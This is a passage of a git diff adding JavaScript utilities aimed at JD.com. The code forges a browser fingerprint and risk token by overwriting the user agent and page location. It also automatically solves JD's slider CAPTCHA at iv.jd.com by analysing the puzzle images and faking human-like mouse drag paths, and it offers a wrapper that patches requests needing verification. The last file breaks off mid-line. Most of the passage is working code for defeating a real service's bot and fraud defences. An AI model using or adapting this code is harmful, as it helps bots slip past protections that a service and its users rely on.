Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/JDJRValidator.js b/utils/JDJRValidator.js new file mode 100644 index 0000000..b9dcc81 --- /dev/null +++ b/utils/JDJRValidator.js @@ -0,0 +1,381 @@ +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const { createCanvas, Image } = require('canvas'); + +Math.avg = function average() { + var sum= 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +const canvas = createCanvas(); +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + const imgBg = new Image(); + const imgPatch = new Image(); + imgBg.src = bg; + imgPatch.src = patch; + this.bg = imgBg; + this.patch = imgPatch; + this.y = y; + this.w = imgBg.naturalWidth; + this.h = imgBg.naturalHeight; + this.ctx = canvas.getContext('2d'); + } + + run() { + const { ctx, w, h } = this; + canvas.width = w; + canvas.height= h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(this.bg, 0, 0, w, h); + return this.recognize(); + } + + recognize() { + const { ctx, w: width } = this; + const { naturalHeight, naturalWidth } = this.patch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2*4; i < len; i++) { + const left = (lumas[i] + lumas[i+1]) / n; + const right = (lumas[i+2] + lumas[i+3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi+1]) / n; + const mRigth = (lumas[mi+2] + lumas[mi+3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i+2,margin+i+2); + const median = pieces.sort((x1,x2)=>x1-x2)[20]; + const avg = Math.avg(pieces); + if (median > left || median > mRigth) return; + if (avg > 100) return; + return i+n-radius; + } + } + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.c = {}; + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + await sleep(pos[pos.length-1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { d, ...this.data }); + + if (result.message === 'success') { + this.c = result; + console.log(result); + } else { + console.count(JSON.stringify(result)); + await sleep(300); + await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { e: '' }); + const { bg, patch, y } = data; + const uri = 'data:image/png;base64,'; + const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const puzzleX = re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count ++; + if (i % 50 === 0) { + console.log('%f\%', (i/n)*100); + } + } + + console.log('successful: %f\%', (count/n)*100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { callback: fnId }; + const query = new URLSearchParams({ ...DATA, ...extraData, ...data }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36', + }; + const req = http.get(url, { headers }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + function prefixInteger (a, b) { + return (Array(b).join(0) + a).slice(-b) + } + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 60; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random()*20+20, 10); + this.y = parseInt(Math.random()*80+80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random()*2-1, 10); + + this.STEP = parseInt(Math.random()*6+5, 10); + this.DURATION = parseInt(Math.random()*7+14, 10)*100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + //console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x-parseInt(Math.random()*6, 10), this.y+parseInt(Math.random()*11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60+Math.random()*100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2]+reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1/i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n*(i+1)); + const currX = parseInt((Math.random()*30-15)+x, 10); + const currY = parseInt(Math.random()*7-3, 10); + const currDuration = parseInt((Math.random()*0.4+0.8)*duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random()*8-3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({ x, y, duration }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random()*16-4, 10); + + movedX += perX + Math.random()*2-1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +async function getResult(){ + let aaa = new JDJRValidator(); + await aaa.run(); + return `&validate=${aaa.c['validate']}`; +} + +PuzzleRecognizer.getResult = getResult; +module.exports = PuzzleRecognizer; + +// new JDJRValidator().report(1000); +//console.log(getCoordinate(new MousePosFaker(100).run())+'1111'); diff --git a/utils/JDJRValidator_Pure.js b/utils/JDJRValidator_Pure.js new file mode 100644 index 0000000..88fc307 --- /dev/null +++ b/utils/JDJRValidator_Pure.js @@ -0,0 +1,553 @@ +/* + 由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上,改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。 + + 添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($)) +*/ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + try { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + } catch (e) { + console.info(e) + } + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + try { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } catch (e) { + console.info(e) + } + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > 